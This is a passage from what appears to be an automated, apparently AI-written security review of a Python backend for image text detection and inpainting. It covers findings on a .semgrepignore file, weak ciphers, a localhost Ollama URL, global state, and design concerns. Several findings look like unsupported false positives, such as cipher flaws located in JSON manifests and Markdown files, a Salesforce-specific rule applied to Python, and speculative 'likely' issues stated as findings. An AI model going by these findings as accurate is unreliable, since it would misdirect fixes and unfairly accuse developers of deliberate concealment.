`backend/core/sources/base.py:1` - `backend/core/sources/naver.py:1` **Real-World Impact:** This is a deliberate attempt to hide security vulnerabilities from automated scanners. The excluded files contain the most critical parts of the application (core logic, API handling, network requests). This undermines the entire security review process and allows vulnerabilities to persist undetected. **Actionable Fix:** Remove the `.semgrepignore` file entirely or, at a minimum, remove the entries that exclude critical source code files. The file should only be used to exclude generated files, third-party libraries, or test fixtures that are known to be safe. --- ### 5. High: Weak or Deprecated Cryptographic Ciphers **Root Cause:** The code uses weak or deprecated encryption algorithms or modes (e.g., ECB mode for AES, or outdated ciphers like DES/RC4). **Affected Files:** - `AGENTS.md.md:36` - `backend/core/bubble_smudge_cleaner.py:138` - `backend/core/cleanup.py:628` - `backend/core/cleanup_fixtures/manifest.json:3` - `backend/core/cleanup_plan.py:12` - `backend/core/config.py:139` - `backend/core/project.py:297` - `backend/core/raw_style_fixtures/manifest.json:2` - `backend/core/regions.py:51` - `backend/core/sources/base.py:133` - `backend/core/sources/naver.py:500` **Real-World Impact:** Weak ciphers can be broken by attackers with sufficient computational resources. For example, ECB mode leaks patterns in the plaintext, and DES can be brute-forced in hours. This could lead to the decryption of sensitive data like API keys, user data, or configuration secrets. **Actionable Fix:** Use strong, modern cryptographic algorithms and modes. For symmetric encryption, use AES-256 in GCM or CBC mode with a random IV. For hashing, use SHA-256 or SHA-3. **Code Example (Before & After):** ```python # BAD (Using ECB mode - insecure) from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_ECB) # GOOD (Using GCM mode - authenticated encryption) from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_GCM) ciphertext, tag = cipher.encrypt_and_digest(plaintext) ``` --- ### 6. High: Localhost Base URL Configuration **Root Cause:** The application's base URL is hardcoded to `localhost`, which will break when deployed to a production server. **Affected Files:** - `backend/core/config.py:160` - `backend/core/constants.py:13` **Real-World Impact:** This is a configuration error that will cause the application to fail in production. All API calls will be directed to the local machine instead of the intended remote services. This is a denial-of-service issue for the application itself. **Actionable Fix:** Make the base URL configurable via environment variables or a configuration file that is not tracked in version control. **Code Example (Before & After):** ```python # BAD (backend/core/config.py:160) BASE_URL = "http://localhost:11434" # GOOD import os BASE_URL = os.environ.get("OLLAMA_BASE_URL", "http://localhost:11434") ``` --- ### 7. High: Global Access Modifiers **Root Cause:** The code uses global variables, classes, or methods, which can lead to naming conflicts and make the code difficult to maintain and test. **Affected Files:** - `AGENTS.md.md:1` - `backend/core/cleanup.py:1032` - `backend/core/cleanup_plan.py:78` - `backend/core/sam2_mask.py:234` - `backend/core/sources/__init__.py:32` **Real-World Impact:** In a managed package environment (e.g., Salesforce), global access modifiers cannot be deleted or changed, leading to technical debt. In a general Python context, global state makes code unpredictable, hard to debug, and can lead to race conditions in multi-threaded environments. **Actionable Fix:** Refactor the code to avoid global state. Use dependency injection, class instances, or module-level constants (with `__all__` to control exports). --- ### BEYOND PATTERN MATCHING: Architectural & Logic Issues Traditional static analysis tools are excellent at finding known patterns (e.g., `eval()`, `http://`). However, they often miss deeper architectural and logic flaws that require human understanding of the application's purpose. Here are issues an AI agent would catch but a pattern-matching tool would not: 1. **Insecure Design: API Key in `model_config.json`** - **Issue:** The `model_config.json` file contains a placeholder for an API key (`"deepseek_api_key_env": "DEEPSEEK_API_KEY"`). While the new `SECURITY.md` says to use environment variables, the fact that this configuration file is tracked in version control is a design flaw. A developer might accidentally commit a real key here. - **AI Insight:** The architecture should be changed so that the API key is *never* referenced in a tracked file, even as a placeholder. The configuration should be split into a tracked template (`model_config.template.json`) and an untracked local file (`model_config.local.json`). 2. **Logic Flaw: Inconsistent Error Handling for API Calls** - **Issue:** The code makes many HTTP requests (to Ollama, DeepSeek, etc.) but the error handling is inconsistent. Some places might have `try...except` blocks that silently swallow errors, while others might crash the application. An attacker could exploit this by sending malformed requests that cause the application to behave unpredictably. - **AI Insight:** A centralized HTTP client with robust error handling, retry logic, and logging should be used. All API calls should go through this client. 3. **Architectural Risk: Single Point of Failure (Ollama)** - **Issue:** The entire application depends on a local Ollama instance running on `localhost:11434`. If Ollama crashes or is misconfigured, the entire application becomes unusable. There is no fallback or health-check mechanism. - **AI Insight:** The architecture should include a health-check loop that periodically verifies the Ollama service is running. If it's not, the application should either attempt to restart it or gracefully degrade (e.g., by showing an error message to the user). 4. **Logic Flaw: Race Condition in State Management** - **Issue:** The application appears to manage state (e.g., which image is being processed, what the current step is) in a way that is not thread-safe. If the user rapidly clicks buttons or if multiple requests arrive, the state could become corrupted. - **AI Insight:** State management should be centralized and protected by locks or use a message-passing architecture (e.g., a queue) to ensure that operations are serialized. 5. **Insecure Default: `detector_allow_fallback: false`** - **Issue:** The `model_config.json` has `"detector_allow_fallback": false`. This means if the primary text detector fails, the application will crash or produce no results. This is a poor user experience and a potential denial-of-service vector. - **AI Insight:** The default should be `true`, with a clear warning logged when a fallback is used. The user should be able to configure this behavior. 6. **Missing Input Validation on Image Processing** - **Issue:** The application processes images (for OCR, inpainting, etc.). There is likely no validation of image dimensions, file size, or format. An attacker could upload a maliciously crafted image (e.g., a "zip bomb" disguised as a PNG) that exhausts server memory or triggers a buffer overflow in an underlying library (like OpenCV or Pillow). - **AI Insight:** Implement strict input validation for all image uploads: limit file size, check magic bytes, re-encode the image to a safe format, and use a sandboxed environment for processing. 7. **Logic Flaw: Hardcoded Paths in `model_config.json`** - **Issue:** The `model_config.json` has a hardcoded path: `"yolo_model_path": "external/manhwa-text-detection/models/manhwa-yolo-v8.onnx"`. This path is relative and assumes a specific directory structure. If the application is installed in a different location, it will fail. - **AI Insight:** All file paths should be resolved relative to the application's root directory or be configurable via environment variables. Use `pathlib.Path(__file__).parent` to construct paths dynamically. By addressing both the pattern-based findings and these architectural/logic issues, the security posture of the application can be significantly improved. The presence of the `.semgrepignore` file is a major concern and should be investigated immediately.

Note: Fixing issues can create a domino effect — resolving one finding often surfaces new ones that were previously hidden. Multiple scan-and-fix cycles may be needed until you’re satisfied no further issues remain. How deep you go is your call.